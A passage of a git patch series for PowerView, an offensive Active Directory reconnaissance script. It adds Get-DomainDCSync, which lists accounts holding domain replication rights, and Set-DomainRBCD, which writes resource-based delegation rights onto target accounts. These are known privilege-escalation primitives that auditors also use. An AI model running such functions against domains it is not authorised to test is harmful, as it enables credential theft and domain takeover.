'WriteMembers')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] $RightsFilter, [ValidateNotNullOrEmpty()] @@ -8304,26 +8304,31 @@ Custom PSObject with ACL entries. try { New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + $Continue = $False + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) if ($PSBoundParameters['RightsFilter']) { $GuidFilter = Switch ($RightsFilter) { - 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } - 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + 'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') } + 'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') } + 'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll') } + 'AllExtended' { 'ExtendedRight' } + 'All' { 'GenericAll' } Default { '00000000-0000-0000-0000-000000000000' } } - if ($_.ObjectType -eq $GuidFilter) { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] - $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -contains $_.ObjectAceType) -or ($_.InheritedObjectAceType -and $GuidFilter -contains $_.InheritedObjectAceType))) { + $Continue = $True + } + elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) { $Continue = $True } } else { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] - $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid $Continue = $True } if ($Continue) { - $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) if ($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} @@ -21219,6 +21224,78 @@ Returns the RBCD configuration for accounts in current domain. } +function Get-DomainDCSync { +<# +.SYNOPSIS + +Finds accounts that have DCSync privileges. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.EXAMPLE + +Get-DomainDCSync + +Returns accounts that have DCSync privileges in current domain. +#> + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server + ) + + + PROCESS { + $DomainSID = Get-DomainSID + Write-Verbose "[Get-DomainDCSync] Retrieving the domain SID: $DomainSID" + $DomainDN = (Get-DomainObject $DomainSID).distinguishedname + Write-Verbose "[Get-DomainDCSync] Retrieving the domain distinguishedname: $DomainDN" + + # Hash Table for storing DCSync privileges + $Privs = @{} + + # Loop through ACL on the domain head + Get-DomainObjectACL $DomainDN -RightsFilter DCSync | ForEach-Object { + $ACE = $_ + $SID = $ACE.SecurityIdentifier + $ADRights = $ACE.ActiveDirectoryRights + if ($ADRights -eq 'GenericAll') { + $Privs.$SID = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') + } + else { + $ACEType = $ACE.ObjectAceType + if (!($Privs.keys -contains $SID)) { + $Privs.Add($SID, @($ACEType)) + } + elseif (!($Privs.$SID -contains $ACEType)) { + $Privs.$SID += $ACEType + } + } + } + $Privs + } +} + + + ######################################################## # # Expose the Win32API functions and datastructures below From 435a907d2c57cbc32b99f1a7efcf0010fc33fb1b Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Sun, 8 Nov 2020 01:13:47 +0000 Subject: [PATCH 08/58] Addd -Locked and -Unlocked switches to Get-DomainUser and sorted out automagically resolving lockouttime when the user object is built in Convert-LDAPProperty to a normal datetime or 'UNLOCKED' with 0 or invalid times --- Recon/PowerView.ps1 | 55 +++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 51 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5fdcc87f..241e9f2a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3210,6 +3210,14 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } + elseif ($_ -eq 'lockouttime') { + if ($Properties[$_][0] -eq 0 -or $Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "UNLOCKED" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { @@ -4903,6 +4911,14 @@ Switch. Return users that are currently enabled. Switch. Return users that are currently disabled. +.PARAMETER Locked + +Switch. Return users that are currently locked. + +.PARAMETER Unlocked + +Switch. Return users that are currently unlocked. + .PARAMETER AllowDelegation Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' @@ -5070,7 +5086,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] - [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + [CmdletBinding(DefaultParameterSetName = 'Enabled')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] @@ -5083,17 +5099,23 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $AdminCount, + [Parameter(ParameterSetName = 'Enabled')] [Switch] $Enabled, + [Parameter(ParameterSetName = 'Disabled')] [Switch] $Disabled, - [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $Locked, + + [Switch] + $Unlocked, + [Switch] $AllowDelegation, - [Parameter(ParameterSetName = 'DisallowDelegation')] [Switch] $DisallowDelegation, @@ -5260,12 +5282,37 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. # inclusion of "Accounts that are disabled" $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' } + if ($PSBoundParameters['Locked']) { + Write-Verbose '[Get-DomainUser] Searching for users who are locked' + # need to get the lockout duration from the domain policy + $Duration = ((Get-DomainPolicy -Policy Domain).SystemAccess).LockoutDuration + if ($Duration -eq -1) { + $LockoutTime = 1 + } + else { + $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() + } + $Filter += "(lockoutTime>=$LockoutTime)" + } + elseif ($PSBoundParameters['Unlocked']) { + Write-Verbose '[Get-DomainUser] Searching for users who are unlocked' + # need to get the lockout duration from the domain policy + $Duration = ((Get-DomainPolicy -Policy Domain).SystemAccess).LockoutDuration + if ($Duration -eq -1) { + $LockoutTime = 1 + } + else { + $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() + } + $Filter += "(!(lockoutTime>=$LockoutTime))" + } + if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' } - if ($PSBoundParameters['DisallowDelegation']) { + elseif ($PSBoundParameters['DisallowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' } From ec802f52167bbee2ff7067c76e172a57145f5b4e Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Mon, 9 Nov 2020 10:23:40 +0000 Subject: [PATCH 09/58] finished working Get-DomainDCSync able to filter by -Users, -Computers and -Groups or a mixture of any of those, default is -Users and -Computers --- Recon/PowerView.ps1 | 243 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 235 insertions(+), 8 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 241e9f2a..d964cba8 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -20810,11 +20810,11 @@ Switch. Return accounts whose passwords do not expire. .PARAMETER Users -Switch. Only return user accounts. +Switch. Return user accounts. .PARAMETER Computers -Switch. Only return computer accounts. +Switch. Return computer accounts. .PARAMETER Domain @@ -20938,7 +20938,7 @@ Returns all enabled high value accounts. PROCESS { foreach ($AdminGroup in $AdminGroups) { - Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -ne 'group'} | foreach { + Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -ne 'group'} | ForEach-Object { if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user')) -Or (($Computers) -And ($_.MemberObjectClass -eq 'computer')))) { $MemberName = $_.MemberName if (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName)))) { @@ -21220,7 +21220,7 @@ Returns the RBCD configuration for accounts in current domain. Write-Verbose "[Get-DomainRBCD] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } - if ($Filter -and $Filter -ne '') { + f ($Filter -and $Filter -ne '') { $RBCDSearcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainRBCD] Get-DomainRBCD filter string: $($RBCDSearcher.filter)" @@ -21281,14 +21281,73 @@ Author: Charlie Clark (@exploitph) License: BSD 3-Clause Required Dependencies: None +.PARAMETER Users + +Switch. Return user accounts. + +.PARAMETER Computers + +Switch. Return computer accounts. + +.PARAMETER Groups + +Switch. Return groups. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + .EXAMPLE Get-DomainDCSync @@ -21299,16 +21358,84 @@ Returns accounts that have DCSync privileges in current domain. [OutputType('PowerView.Computer.Raw')] [CmdletBinding()] Param ( + [Switch] + $Users, + + [Switch] + $Computers, + + [Switch] + $Groups, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] - $Server + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } PROCESS { $DomainSID = Get-DomainSID @@ -21319,16 +21446,22 @@ Returns accounts that have DCSync privileges in current domain. # Hash Table for storing DCSync privileges $Privs = @{} + # Are any type filters set? + $NoType = $True + if ($PSBoundParameters['Users'] -or $PSBoundParameters['Computers'] -or $PSBoundParameters['Groups']) { + $NoType = $False + } + # Loop through ACL on the domain head Get-DomainObjectACL $DomainDN -RightsFilter DCSync | ForEach-Object { $ACE = $_ - $SID = $ACE.SecurityIdentifier + $SID = $ACE.SecurityIdentifier.Value $ADRights = $ACE.ActiveDirectoryRights if ($ADRights -eq 'GenericAll') { $Privs.$SID = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } else { - $ACEType = $ACE.ObjectAceType + $ACEType = $ACE.ObjectAceType.Guid if (!($Privs.keys -contains $SID)) { $Privs.Add($SID, @($ACEType)) } @@ -21337,7 +21470,101 @@ Returns accounts that have DCSync privileges in current domain. } } } - $Privs + + # Initial account type filter + $Filter = '' + $TypeFilter = '' + $IdentityFilter = '' + if ($PSBoundParameters['Users']) { + $TypeFilter += '(samAccountType=805306368)' + } + if ($PSBoundParameters['Computers']) { + $TypeFilter += '(samAccountType=805306369)' + } + if ($PSBoundParameters['Groups']) { + $TypeFilter += '(objectCategory=group)' + } + if ($TypeFilter -and ($TypeFilter.Trim() -ne '')) { + $Filter = "(|$TypeFilter)" + } + else { + $Filter = '(|(samAccountType=805306368)(samAccountType=805306369))' + } + + # Keep track of SIDs that have been added + $Check = @() + + $Privs.keys | ForEach-Object { + if ($Privs.$_.Contains('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2') -and $Privs.$_.Contains('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) { + $Object = Get-DomainObject $_ + if ($Object) { + $ObjectSID = $Object.objectsid + if ($Object.objectclass -contains 'group') { + if ($PSBoundParameters['Groups'] -and !($Check -contains $ObjectSID)) { + $IdentityFilter += "(objectsid=$ObjectSID)" + } + $Object | Get-DomainGroupMember -Recurse | ForEach-Object { + $MemberSID = $_.MemberSID + if ($_.MemberObjectClass -ne 'group' -and !($Check -contains $MemberSID)) { + if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($_.MemberObjectClass -eq 'user')) -Or (($PSBoundParameters['Computers']) -And ($_.MemberObjectClass -eq 'computer')))) { + $IdentityFilter += "(objectsid=$MemberSID)" + } + } + elseif (!($Check -contains $MemberSID)) { + if ($PSBoundParameters['Groups']) { + $IdentityFilter += "(objectsid=$MemberSID)" + } + } + $Check += $MemberSID + } + } + elseif (!($Check -contains $ObjectSID)) { + if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($Object.samaccounttype -eq 'USER_OBJECT')) -Or (($PSBoundParameters['Computers']) -And ($Object.samaccounttype -eq 'MACHINE_ACCOUNT')))) { + $IdentityFilter += "(objectsid=$ObjectSID)" + } + } + $Check += $ObjectSID + } + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainDCSync] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainDCSync] Get-DomainDCSync filter string: $($ObjectSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDCSync] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } } From e80b997499bcc2a4a9e8c8be4ce9c853758689b2 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 10 Nov 2020 23:27:59 +0000 Subject: [PATCH 10/58] Finished a working Set-DomainRBCD function, specifying -DelegateFrom using a pipe separated list of identities, also added -OutputSDDL to Get-DomainObjectACL to backup object SD and added function Set-DomainObjectSD to restore object SD --- Recon/PowerView.ps1 | 627 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 579 insertions(+), 48 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d964cba8..b53e7e3c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8127,6 +8127,10 @@ Switch. Resolve GUIDs to their display names. A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). +.PARAMETER OutputSDDL + +Output the SDDL string of the whole security descriptor into an output file for backup in case it needs to be restored + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -8217,6 +8221,9 @@ Custom PSObject with ACL entries. [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] $RightsFilter, + [String] + $OutputSDDL, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -8350,7 +8357,19 @@ Custom PSObject with ACL entries. } try { - New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 + if ($PSBoundParameters['OutputSDDL']) { + try { + $SDDLObject = New-Object PSObject + $SDDLObject | Add-Member "ObjectSID" $ObjectSid + $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) + Export-Csv -InputObject $SDDLObject -Path $OutputSDDL + } + catch { + Write-Warning "[Get-DomainObjectAcl] Unable to write SD information to $OutputSDDL" + } + } + $SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { $Continue = $False $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid @@ -20850,8 +20869,8 @@ Returns all enabled high value accounts. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [OutputType('PowerView.User')] - [OutputType('PowerView.User.Raw')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param ( [Switch] @@ -21082,8 +21101,7 @@ Get-DomainRBCD Returns the RBCD configuration for accounts in current domain. #> - [OutputType('PowerView.Computer')] - [OutputType('PowerView.Computer.Raw')] + [OutputType([PSObject])] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] @@ -21169,46 +21187,8 @@ Returns the RBCD configuration for accounts in current domain. if ($RBCDSearcher) { $IdentityFilter = '' $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^(CN|OU|DC)=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainRBCD] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $RBCDSearcher = Get-DomainSearcher @SearcherArguments - if (-not $ObjectSearcher) { - Write-Warning "[Get-DomainRBCD] Unable to retrieve domain searcher for '$IdentityDomain'" - } - } - } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $ObjectName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$ObjectName)" - $SearcherArguments['Domain'] = $ObjectDomain - Write-Verbose "[Get-DomainRBCD] Extracted domain '$ObjectDomain' from '$IdentityInstance'" - $ObjectSearcher = Get-DomainSearcher @SearcherArguments - } - } - elseif ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" - } + $Identity | Get-IdentityFilterString | ForEach-Object { + $IdentityFilter += $_ } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" @@ -21220,7 +21200,7 @@ Returns the RBCD configuration for accounts in current domain. Write-Verbose "[Get-DomainRBCD] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } - f ($Filter -and $Filter -ne '') { + if ($Filter -and $Filter -ne '') { $RBCDSearcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainRBCD] Get-DomainRBCD filter string: $($RBCDSearcher.filter)" @@ -21270,6 +21250,343 @@ Returns the RBCD configuration for accounts in current domain. } } +function Set-DomainRBCD { +<# +.SYNOPSIS + +Configure resource-based constrained delegation for accounts. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER DelegateFrom + +The accounts that are going to be allowed to delegate to this account(s) specified by Identity. +This can be a pipe '|' separated list. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Set-DomainRBCD Computer1 -DelegateFrom Computer2|Computer3 + +Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. +#> + [OutputType([bool])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [String] + $DelegateFrom, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $RBCDSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($RBCDSearcher) { + $IdentityFilter = '' + $Filter = '' + + # form SDDL string and resulting SD bytes + $SDDLString = '' + if ($PSBoundParameters['DelegateFrom']) { + $DelegateFilter = '' + $DelegateFrom.Split('|') | Get-IdentityFilterString | ForEach-Object { + $DelegateFilter += $_ + Write-Verbose "[Set-DomainRBCD] Appending DelegateFilter: $_" + } + + $RBCDSearcher.filter = "(|$DelegateFilter)" + Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)" + $Results = $RBCDSearcher.FindAll() + if ($Results) { + $SDDLString = 'O:BAD:' + } + $Results | Where-Object {$_} | ForEach-Object { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + $SDDLString += "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))" + Write-Verbose "[Set-DomainRBCD] Appending to SDDL string: (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))" + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_" + } + } + Write-Verbose "[Set-DomainRBCD] Using SDDL string: $SDDLString" + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString + $SDBytes = New-Object byte[] ($SD.BinaryLength) + $SD.GetBinaryForm($SDBytes, 0) + + } + + $Identity | Get-IdentityFilterString | ForEach-Object { + $IdentityFilter += 